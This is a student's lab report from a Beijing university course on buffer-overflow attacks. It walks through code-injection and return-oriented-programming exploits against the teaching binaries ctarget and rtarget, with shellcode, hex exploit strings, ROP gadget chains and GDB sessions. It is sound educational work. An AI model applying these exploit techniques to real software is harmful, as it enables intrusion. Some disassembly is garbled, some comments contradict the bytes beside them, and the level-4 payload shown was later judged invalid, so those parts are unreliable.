

北京邮电大学

实验报告



题目： 缓冲区溢出攻击实验

班 级： _____

学 号： _____

姓 名： yljcat

学 院： _____

202 年 月 日

一、实验目的

1. C 语言程序的机器级表示。
2. 掌握 GDB 调试器的用法。
3. C 编译器生成的 x86-64 机器代码，理解不同控制结构生成的基本指令模式，过程的实现。
4. 掌握两种缓冲区攻击方法，进一步理解软件漏洞的危害。

二、实验环境

1. 服务器：10.112.61.28：2025 年 12 月 10 日 23:59 分关机（二周），提交作业截止时间 2025 年 12 月 14 日 00:00，延迟扣分（每晚一天扣 1.5 分）
2. Linux
3. Objdump 命令反汇编
4. GDB 调试工具
5. 积分榜：<http://10.112.152.199:19320/scoreboard>

三、实验内容

登录 bupt1 服务器，在 home 目录下可以找到一个 targetn.tar 文件，解压后得到如下文件：

README.txt;

ctarget;

rtarget;

cookie.txt;

farm.c;

hex2raw。

ctarget 和 rtarget 运行时从标准输入读入字符串，这两个程序都存在缓冲区溢出漏洞。通过代码注入的方法实现对 ctarget 程序的攻击，共有 3 关，输入一个特定字符串，可成功调用 touch1，或 touch2，或 touch3 就通关，并向计分服务器提交得分信息；通过 ROP 方法实现对 rtarget 程序的攻击，共有 2 关，在指定区域找到所需要的小工具，进行拼接完成指定功能，再输入一个特定字符串，实现成功调用 touch2 或 touch3 就通关，并向计分服务器提交得分信息；否则失败，但不扣分。因此，本实验需要通过反汇编和逆向工程对 ctarget 和 rtarget 执行文件进行分析，找到保存返回地址在堆栈中的位置以及所需要的小工具机器码。实验的具体内

容见实验说明，尤其需要认真阅读各阶段的 Some Advice 提示。

本实验包含了 5 个阶段（或关卡），难度逐级递增。各阶段分数如下所示：

Phase	Program	Level	Method	Function	Points
1	CTARGET	1	CI	touch1	10
2	CTARGET	2	CI	touch2	25
3	CTARGET	3	CI	touch3	25
4	RTARGET	2	ROP	touch2	35
5	RTARGET	3	ROP	touch3	5

CI: Code injection

ROP: Return-oriented programming

四、实验步骤及实验分析

准备工作：

首先找到对应的压缩包文件，tar -xvf target228.tar 解压：

```
2024211139@bupt1:~$ ls
bomb228  bomb228.tar  target228.tar
2024211139@bupt1:~$ tar -xvf target228.tar
target228/README.txt
target228/ctarget
target228/rtarget
target228/farm.c
target228/cookie.txt
target228/hex2raw
2024211139@bupt1:~$ ls
bomb228  bomb228.tar  target228  target228.tar
2024211139@bupt1:~$ cd target228
2024211139@bupt1:~/target228$ ls
cookie.txt  ctarget  farm.c  hex2raw  README.txt  rtarget
```

查看 cookie 文件，记录 cookie：0x49f9ebf9

```
2024211139@bupt1:~/target228$ cat cookie.txt
0x49f9ebf9
```

根据实验说明中对可执行程序的描述，对其中两个可执行程序进行反汇编到对应的文本文件中：

ctarget: An executable program vulnerable to **code-injection attacks**

rtarget: An executable program vulnerable to **return-oriented-programming attacks**

```
2024211139@bupt1:~/target228$ objdump -d ctarget > ctarget.asm
2024211139@bupt1:~/target228$ objdump -d rtarget > rtarget.asm
```

这时就得到了这次实验需要的基本的几个文件

第一阶段：重定向控制 level-1

```
2024211139@bupt1:~/target228$ objdump -t rtarget | grep getbuf
0000000000401902 g      F .text 0000000000000016          getbuf
```

因为反汇编的代码量巨大，手加眼查找很费劲，所以首先查找 `getbuf` 的位置，得到其在 `0x401902` 的位置，其实在这里就已经得到了这个函数块的起始地址和所占用的栈空间 (`0x16`)，也可以根据定位到的函数位置，来查看其函数所占用的空间以此来定位返回值的地址

```
0000000000401902 <getbuf>:
401902: 48 83 ec 18      sub    $0x18,%rsp
401906: 48 89 e7         mov    %rsp,%rdi
401909: e8 ac 02 00 00   callq 401bba <Gets>
40190e: b8 01 00 00 00   mov    $0x1,%eax
401913: 48 83 c4 18      add    $0x18,%rsp
401917: c3              retq
```

根据 `sub` 指令，也可以得到 `getbuf` 所调用的栈空间为 24 (`0x18`)

无论是哪种方法，我们都得到了 `getbuf` 的起始地址为 `0x401902`，占用的栈空间为 24 字节，所以返回地址就在这 24 字节的数据之后的 8 个字节，所以为了覆盖返回地址，我们现在还需要的是 `Touch1` 的位置，利用定位可以得到：

```
2024211139@bupt1:~/target228$ objdump -t rtarget | grep touch1
0000000000401918 g      F .text 0000000000000036          touch1

0000000000401918 <touch1>:
401918: 48 83 ec 08      sub    $0x8,%rsp
40191c: 48 c1 ec 04      shr    $0x4,%rsp
401920: 48 c1 e4 04      shl    $0x4,%rsp
401924: c7 05 ce 3b 20 00 01 movl    $0x1,0x203bce(%rip)      # 6054fc <vlevel>
40192b: 00 00 00
40192e: 48 8d 3d 4f 19 00 00 lea     0x194f(%rip),%rdi        # 403284 <_IO_stdin_used+0x314>
401935: e8 86 f3 ff ff   callq 400cc0 <puts@plt>
40193a: bf 01 00 00 00   mov    $0x1,%edi
40193f: e8 d8 04 00 00   callq 401e1c <validate>
401944: bf 00 00 00 00   mov    $0x0,%edi
401949: e8 e2 f4 ff ff   callq 400e30 <exit@plt>
```

可以得到 touch1 的地址为 0x401918，所以现在需要做的就是覆盖 getbuf 这个函数所用的栈空间并且将返回地址覆盖为 touch1 的地址

最后构造攻击字符串，用来覆盖栈，创建 L1.txt 文件：

用 0 来填充前 24 字节，然后用 touch1 的地址覆盖原来的返回地址（因为是小端机，所以要倒序写）

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
18 19 40 00 00 00 00 00
~
```

执行命令 ./hex2raw < L1.txt | ./ctarget，验证结果：

```
2024211139@bupt1:~/target228$ ./hex2raw < L1.txt | ./ctarget
Cookie: 0x49f9ebf9
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

成功完成第一个覆盖地址的攻击试验任务

第二阶段：注入代码 level-2

第二个任务的主要目的是注入指令将我的 cookie 放入 %rdi（也就是第二个参数）然后跳转到 touch2

所以接下来需要知道的信息有：

- Touch2 的地址，为了之后的跳转使用
- Cookie 的值，为了存入寄存器
- 栈区的地址，为了确定我们注入代码的位置在哪

所以为了这些信息的获取，有如下步骤：

- ① 先获取 touch2 的地址，利用 objdump 的特定搜索的功能，找到 touch2 的初始地址：


```

2024211139@bupt1:~/target228$ objdump -d ctargert | grep touch2
000000000040194e <touch2>:
    40196c:    75 22                jne     401990 <touch2+0x42>
    40198e:    eb 20                jmp     4019b0 <touch2+0x62>
2024211139@bupt1:~/target228$ objdump -t ctargert | grep touch2
000000000040194e g      F .text 000000000000006c      touch2

```

获得 touch2 的初始地址为：0x40194e

② 获取 cookie 信息，使用 cat 输出 cookie.txt 或者使用 vim 编辑查看 txt 文档，在准备工作中已经得出为：0x49f9ebf9

③ 调用 gdb，设置断点 getbuf，运行到断点位置时打印当前的栈指针，这就是初始栈缓冲区的起始地址：0x55681af0

```

2024211139@bupt1:~/target228$ gdb ctargert
GNU gdb (Ubuntu 8.1.1-0ubuntu1) 8.1.1
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ctargert...done.
(gdb) b getbuf
Breakpoint 1 at 0x401902: file buf.c, line 12.
(gdb) run
Starting program: /students/2024211139/target228/ctargert
Cookie: 0x49f9ebf9

Breakpoint 1, getbuf () at buf.c:12
12      buf.c: No such file or directory.
(gdb) stepi
14      in buf.c
(gdb) p/x $rsp
$1 = 0x55681ad8

```

```

2024211139@bupt1:~/target228$ gdb ctarg
GNU gdb (Ubuntu 8.1.1-0ubuntu1) 8.1.1
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ctarg...done.
(gdb) b getbuf
Breakpoint 1 at 0x401902: file buf.c, line 12.
(gdb) run
Starting program: /students/2024211139/target228/ctarg
Cookie: 0x49f9ebf9

Breakpoint 1, getbuf () at buf.c:12
12      buf.c: No such file or directory.
(gdb) p/x $rsp
$1 = 0x55681af0

```

接下来为了得到期望的攻击机器码，需要先写出对应的汇编代码，然后把汇编代码转换成机器码用来注入代码攻击机器，所以先创建一个汇编代码文件 inject.s，写入对应机器代码

```

movq $0x49f9ebf9, %rdi
pushq $0x40194e
retq
~

```

Movq 代码用来将%rdi 寄存器的值替换我的 cookie 值，从而为调用 touch2 做准备

Pushq 指令将 touch2 的函数起始地址压入栈堆，使得下次遇到 return 指令的时候返回目标地址为栈堆上的 touch2 的地址

Retq 指令时将刚刚压入栈顶的 8 字节地址弹出到%rip 寄存器中，返回到 touch2 的代码块

所以整个代码会使得程序执行流程立即从注入代码跳转到 touch2 函数的起始位置，实现对 getbuf 函数正常返回的劫持

接下来将汇编代码转化为机器代码有：

```

2024211139@bupt1:~/target228$ gcc -c inject.s
2024211139@bupt1:~/target228$ objdump -d inject.o

inject.o:          file format elf64-x86-64

Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 f9 eb f9 49      mov     $0x49f9ebf9,%rdi
   7:   68 4e 19 40 00           pushq   $0x40194e
  c:   c3                      retq

```

然后构建攻击字符串 L2.txt, 将机器代码所有的全部按照小端方式存入文档, 不足 24 字节的用 0 补齐, 最后加入 \$rsp 获得的栈地址, 这样 getbuf 返回时, 就会跳到栈里, 开始执行写在最前面的机器码:

```

/* Shellcode: mov $0x49f9ebf9, %edi; pushq $0x40194e; retq */
bf f9 eb f9 49 68 4e 19 40 00 c3

/* Padding (13 NOPS) */
00 00 00 00 00 00 00 00 00 00 00 00 00 |00

/* New Return Address (Addr_Shellcode: 0x55681af0) */
d8 1a 68 55 00 00 00 00
~
~
~

```

运行即可验证解答:

```

2024211139@bupt1:~/target228$ cat L2.txt | ./hex2raw | ./ctarget
Cookie: 0x49f9ebf9
Type string:Touch2!: You called touch2(0x49f9ebf9)
Valid solution for level 2 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!

```

第三阶段：栈中覆盖指定信息 level-3

这个 level 的目标是让 ctarget 程序执行 touch3 函数的代码, 并让 touch3 认为传入的参数是一个指向 Cookie 字符串表示的指针

Cookie (十六进制): 0x49f9ebf9

Cookie 字符串: "49f9ebf9" (8 位十六进制数字, 无前导 "0x")

字符串表示: "49f9ebf9" 加上空终止符 \0 (9 字节)

先确定 touch3 的地址:

使用 `objdump -d ctarget` 查找 touch3 的起始地址 (实际是把汇编代码整个复制在了一个文档里然后查询位置): 得到位置为 0x401a6d

```
0000000000401a6d <touch3>:  
401a6d: 53          push %rbx
```

然后确定 cookie 的字符串和地址:

我的 cookie 是 0x49f9ebf9, 对应字符串为 "49f9ebf9\0", 十六进制表示为: 34 39 66 39 65 62 66 39 00

计算地址为: `getbuf` 起始地址+栈空间+返回地址, 为起始地址+32 字节 (0x20)

所以 cookie 地址为: $0x55681ad8 + 0x20 = 0x55681af8$

接着编写汇编代码 (`inject3.s`), 代码思路和上一个相同:

```
movq $0x55681af8, %rdi  
pushq $0x401a6d  
ret  
~  
~
```

然后生成对应机器码:

```
2024211139@bupt1:~/target228$ gcc -c inject3.s -o inject3.o  
2024211139@bupt1:~/target228$ objdump -d inject3.o  
  
inject3.o:      file format elf64-x86-64  
  
Disassembly of section .text:  
  
0000000000000000 <.text>:  
  0:  48 c7 c7 f8 1a 68 55    mov     $0x55681af8,%rdi  
  7:  68 6d 1a 40 00         pushq   $0x401a6d  
 c:  c3                    retq
```

所以最后这个机器码的构成结构为:

Inject 机器码 + 填充机器码 + 新的返回地址 + cookie 字符串

连接起来放在 L3.txt 中:

```
48 c7 c7 f8 1a 68 55 68 6d 1a 40 00 c3
00 00 00 00 00 00 00 00 00 00 00 00
d8 1a 68 55 00 00 00 00
34 39 66 39 65 62 66 39 00
```

运行测试结果:

```
2024211139@bupt1:~/target228$ cat L3.txt | ./hex2raw | ./ctarget
Cookie: 0x49f9ebf9
Type string:Touch3!: You called touch3("49f9ebf9")
Valid solution for level 3 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

第四阶段: ROP 调用 level-4

接下来的任务是使用返回导向编程来绕过堆栈不可执行和地址空间布局随机化这两个保护机制, 在程序 RTARGET 上执行 ROP 攻击, 调用 touch2 函数, 并传入您的 Cookie (0x49f9ebf9) 作为参数

首先对 rtarget 反汇编得到 touch2 和 getbuf 的地址:

```
000000000040194e <touch2>:
40194e: 48 83 ec 08      sub    0x8,401952 : 89f mov401954 : 48c1ec04shr0x4,%rsp
401958: 48 c1 e4 04      shl    0x4,40195c : c705963b200002movl0x2,0x203b96(%rip) # 6054fc <vlevel>
401963: 00 00 00

0000000000401902 <getbuf>:
401902: 48 83 ec 18      sub
0x18,401906 : 4889e7mov401909 : e8c5030000callq401cd3 <Gets > 40190e : b801000000mov0x1,%eax
401913: 48 83 c4 18      add    $0x18,%rsp
401917: c3              retq
```

然后寻找 popq %rdi; ret Gadget 的地址:

为了将 Cookie 传入 %rdi 寄存器, 需要一个 popq %rdi 指令, 紧接着是一个 ret 指令 (组成一个 Gadget)

先确定机器码,但是实际的时候很难去找(搜索没搜到), 而因为 `popq %rdi` 的机器码是 `5f`, `retq` 的机器码是 `c3`, 所以换去找 `5f` 和 `c3` 的汇编代码, 找到:

```
402d15: 41 5f          pop  %r15
402d17: c3            retq
```

所以 `pop rdi` 的地址为: `0x402d16`

所以总结得到的信息有:

- ① Getbuf 填充: `getbuf` 分配了 `0x18` (24 字节)
- ② Gadget 地址 (`pop rdi`): `0x402d16` (从 `pop %r15` 中借来的)
- ③ Cookie : `0x49f9ebf9` (从你之前的记录)
- ④ Touch2 地址 : `0x40194e`

故此时可以构造攻击文件 `L4.txt`, 构成为:

Getbuf24 字节的填充 + gadget 的地址 (`pop %rdi`) + cookie 参数 + touch2 的返回地址

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
16 2d 40 00 00 00 00 00
f9 eb f9 49 00 00 00 00
4e 19 40 00 00 00 00 00
~
~
~
~
~
~
```

第五阶段: ROP 调用 level-5

这个 Level 的目标与 Level 3 类似, 都是调用 `touch3` 函数并传入 `Cookie` 的字符串指针。但针对的是 `rtarget` 程序, 具有两个核心保护机制:

1. 栈不可执行 (NX): 无法直接注入 `shellcode`

2. 地址空间布局随机化 (ASLR): 栈的地址在每次运行时都会随机变化

因此, 我们不能像 Level 3 那样硬编码字符串的绝对地址。我们需要编写一段 ROP 链, 动态计算出当前栈中字符串的地址 (即: 当前栈指针 `%rsp` + 偏移量), 并将其传给 `%rdi`

首先对基础信息进行收集:

我的 Cookie: 0x49f9ebf9

Cookie 字符串: "49f9ebf9"(加上结尾的\0, 共 9 字节, ASCII 码序列为 34 39 66 39 65 62 66 39 00)

目标函数: touch3, 首先, 在反汇编文件中找到 touch3 的入口地址: 地址: 0x401a6d

0000000000401a6d <touch3>:

```
401a6d: 53          push %rbx
401a6e: 48 89 fb    mov  %rdi,%rbx
401a71: 48 c1 ec 04 shr  0x4,401a75:48c1e404shl0x4,%rsp
401a79: c7 05 79 3a 20 00 03 movl
```

同时, 为了防止非法指令错误, 所有的 Gadget (代码片段) 必须取自 `start_farm(0x401b12)` 到 `end_farm(0x401c25)` 之间 (防止 invalid 发生)

接下来是最核心的部分关于攻击思路与逻辑设计, 由于栈地址随机, 我们采用基址+偏移量的策略:

1. 获取栈指针: 将 `%rsp` 的值保存到通用寄存器 (如 `%rax`)
2. 加载偏移量: 从栈中 pop 出一个固定的偏移数值 (Offset) 到寄存器
3. 计算绝对地址: 执行 `%rax = %rsp + Offset`
4. 传参调用: 将计算好的地址移动到 `%rdi`, 然后调用 touch3

需要的 Gadget 功能链条: `mov %rsp, %rax -> mov %rax, %rdi -> pop %rax (加载 offset) -> mov %eax, %esi (搬运 offset) -> lea (%rdi, %rsi, 1), %rax (加法运算) -> mov %rax, %rdi -> touch3`

所以接下来就是 Gadget 搜索与选取, 通过分析 `rtarget.asm` 的 Farm 区域代码, 利用字节码

的错位解析，找到了以下关键 Gadget：

1. 保存栈指针 (mov %rsp, %rax)

我需要将当前栈指针保存起来作为计算基址，关注字节：48 89 e0 (即 mov %rsp, %rax)

，我在 getval_245 函数中发现了隐藏的指令：

```
0000000000401bf7 <getval_245>:
401bf7:  b8 48 89 e0 c3      mov  $0xc3e08948,%eax
401bfc:  c3                  retq
```

2. 传递参数与基址 (mov %rax, %rdi)

我需要将寄存器 %rax 的值转移到 %rdi（既用于传递参数，也用于 lea 指令的基址），在 getval_124 中找到了它，关注的字节：48 89 c7 (即 mov %rax, %rdi)：

```
0000000000401b3e <getval_124>:
401b3e:  b8 48 89 c7 c3      mov  $0xc3c78948,%eax
401b43:  c3                  retq
```

3. 加载偏移量 (pop %rax)

需要从栈中弹出一个常数（偏移量）到 %rax，在 getval_146 中找到了它，关注字节：58 (即 pop %rax)：

```
0000000000401b2b <getval_146>:
401b2b:  b8 9b 58 90 c3      mov  $0xc390589b,%eax
401b30:  c3                  retq
```

4. 搬运偏移量至计算寄存器

我们需要将 %rax 中的偏移量最终搬运到 %rsi。这需要经过 %ecx -> %edx -> %esi 的接力（分析之后）：

① mov %eax, %ecx, 在 setval_338 中发现：


```

0000000000401be9 <setval_338>:
401be9:  c7 07 89 c1 c3 bf    movl  $0xbfc3c189,(%rdi)
401bef:  c3                   retq

```

② Step B: `mov %ecx, %edx`, 在 `getval_254` 中发现:

```

0000000000401b83 <getval_254>:
401b83:  b8 5f 89 ca 90      mov  $0x90ca895f,%eax
401b88:  c3                   retq

```

③ Step C: `mov %edx, %esi`, 在 `getval_105` 中发现:

```

0000000000401b55 <getval_105>:
401b55:  b8 89 d6 92 90      mov  $0x9092d689,%eax
401b5a:  c3                   retq

```

5. 核心计算指令 (`lea`)

我们需要计算 `Stack + Offset`。在 `add_xy` 函数中找到了指令

```

0000000000401b50 <add_xy>:
401b50:  48 8d 04 37         lea  (%rdi,%rsi,1),%rax
401b54:  c3                   retq

```

确定 Offset (偏移量):

经过计算, 从执行“保存栈指针”指令开始, 到栈中存放“Cookie 字符串”的位置, 中间相隔了 9 个 8 字节单位, 计算: $9 \times 8 = 72$ (十进制) = $0x48$ (十六进制)

构造攻击文本 (L5.txt): 根据上述分析, 将找到的 Gadget 地址 (小端序) 和数据组合。结

构为: 填充 -> 保存 SP -> 转移 SP -> 弹出 Offset -> Offset 值 -> 搬运链 -> 计算地址 ->

转移结果 -> Touch3 -> 字符串

连接得到 L5:

```

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
f8 1b 40 00 00 00 00 00
3f 1b 40 00 00 00 00 00
2d 1b 40 00 00 00 00 00
48 00 00 00 00 00 00 00
eb 1b 40 00 00 00 00 00
85 1b 40 00 00 00 00 00
56 1b 40 00 00 00 00 00
50 1b 40 00 00 00 00 00
3f 1b 40 00 00 00 00 00
6d 1a 40 00 00 00 00 00
34 39 66 39 65 62 66 39 00
~
~
~

```

最后运行指令 `./hex2raw < L5.txt | ./rtarget`, 成功调用 `touch3` 并通过验证

```
2024211139@bupt1:~/target228$ vim L5.txt
2024211139@bupt1:~/target228$ cat L5.txt | ./hex2raw | ./rtarget
Cookie: 0x49f9ebf9
Type string:Touch3!: You called touch3("49f9ebf9")
Valid solution for level 3 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

建议按照：准备工作、阶段 1、阶段 2、...等来组织内容
各阶段需要有操作步骤、运行截图、分析过程的内容

五、总结体会

遇到的问题，解决方法和感受：

① Level2 中 `%rsp` 的值错误输出：

在一开始的打断点，打印 `%rsp` 的时候，获得的输出为：0x55681af0。

```
2024211139@bupt1:~/target228$ gdb ctarg
GNU gdb (Ubuntu 8.1.1-0ubuntu1) 8.1.1
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ctarg...done.
(gdb) b getbuf
Breakpoint 1 at 0x401902: file buf.c, line 12.
(gdb) run
Starting program: /students/2024211139/target228/ctarg
Cookie: 0x49f9ebf9

Breakpoint 1, getbuf () at buf.c:12
12      buf.c: No such file or directory.
(gdb) p/x $rsp
$1 = 0x55681af0
```

使用这个地址但是每次都注入失败，后面将断点打在精确位置：

```

(gdb) b *0x401906
Breakpoint 1 at 0x401906: file buf.c, line 14.
(gdb) run
Starting program: /students/2024211139/target228/ctarget
Cookie: 0x49f9ebf9

Breakpoint 1, getbuf () at buf.c:14
14      buf.c: No such file or directory.
(gdb) info reg rsp
rsp      0x55681ad8      0x55681ad8

```

发现真实的 rsp 寄存器存放的指针是跟我一开始打印出来的不一样，说明之前的指针是错误的，在思考之后，我认为是因为我打的指针只是放在了入口处，还没进入运行分配新的栈空间，使得 rsp 存放的还是旧的地址，为了验证我的猜想，我先将断点打在了入口处，然后打印 rsp 的值，再通过执行一步指令，使得其真正进入函数，再打印一遍 rsp 的值。

```

(gdb) b getbuf
Breakpoint 1 at 0x401902: file buf.c, line 12.
(gdb) run
Starting program: /students/2024211139/target228/ctarget
Cookie: 0x49f9ebf9

Breakpoint 1, getbuf () at buf.c:12
12      buf.c: No such file or directory.
(gdb) p/x $rsp
$1 = 0x55681af0
(gdb) si
14      in buf.c
(gdb) p/x $rsp
$2 = 0x55681ad8
(gdb) |

```

发现期望的结果与预想的完全一致，说明我的猜想是正确的。

在 level2 的返回栈指针中磕碰了很久，当时还在想是否就有 ALSR 机制了，将所有的参数反复确认最后才找出错误参数是在哪里有问题，其实关于断点和寄存器更新的问题在上一个实验就有体会，上个实验，打断点在 phase 的入口的之后，每次打印对应寄存器的值的时候都要先输入一个随便的值来让整个程序进入到函数内部，其实这次错的原因和上个实验的原理很相似，都是要进入到函数内部再去打印真实的寄存器或者某个地址的值，所以还是得多思考多留心平时遇到的一些小注意点，才不会这次在一个 rsp 寄存器的值的打印

上花费这么多时间。

② Level 4 中 ROP 攻击运行成功但判定 Invalid 的问题：

在完成 Level 4 的时候，我构造好了攻击链，在本地运行 `./hex2raw < L4.txt | ./rtarget` 时，屏幕上清晰地打印出了 “Touch2!: You called touch2...” 的成功提示。当时我以为顺利过关了，但直到做完所有然后查看计分板时，却显示是 Invalid，这让我一度非常困惑，因为按照常规的编程逻辑，只要程序按预期输出了结果，代码就是正确的。我反复检查了堆栈的填充和 cookie 的值，都没有发现问题。在束手无策之际，我向 AI 寻求了帮助，询问为什么“运行成功却不得分”。

经过分析才得知，Attack Lab 对 Level 4 和 Level 5 有一个强制性的约束条件：我们所使用的所有 Gadget（代码片段）必须严格位于 `start_farm` 和 `end_farm` 这两个内存地址之间。我一开始直接用了在整个程序中搜索到的 `pop %rdi; ret` 指令，但这个指令的地址位于 C 语言标准库区域，超出了 Farm 的边界，因此被判定为违规。

解决方法：在理解了原理后，我放弃了那个原本的 Gadget，重新在 Farm 区域内进行地毯式搜索。由于 Farm 内没有直接的 `pop %rdi`，先找到合规的 `pop %rax` 将数据读入，再找到合规的 `mov %rax, %rdi` 将数据转移。保证所有的地址都在规则允许的范围内，重新构造 payload 后，纠正了 invalid 错误。

感悟：这次挫败感让我意识到，计算机系统安全不仅仅是“达成目的”，更是在“受限环境”下的博弈。实验文档中的一行小字限制（Farm 范围），往往比代码逻辑本身更重要。这就像现实中的漏洞利用，往往要绕过各种安全机制（如 NX 位、ASLR、代码签名），而不能随意执行内存中的任意代码，让我明白了在系统底层开发中，遵守内存布局规则和阅读文档细节是多么重要。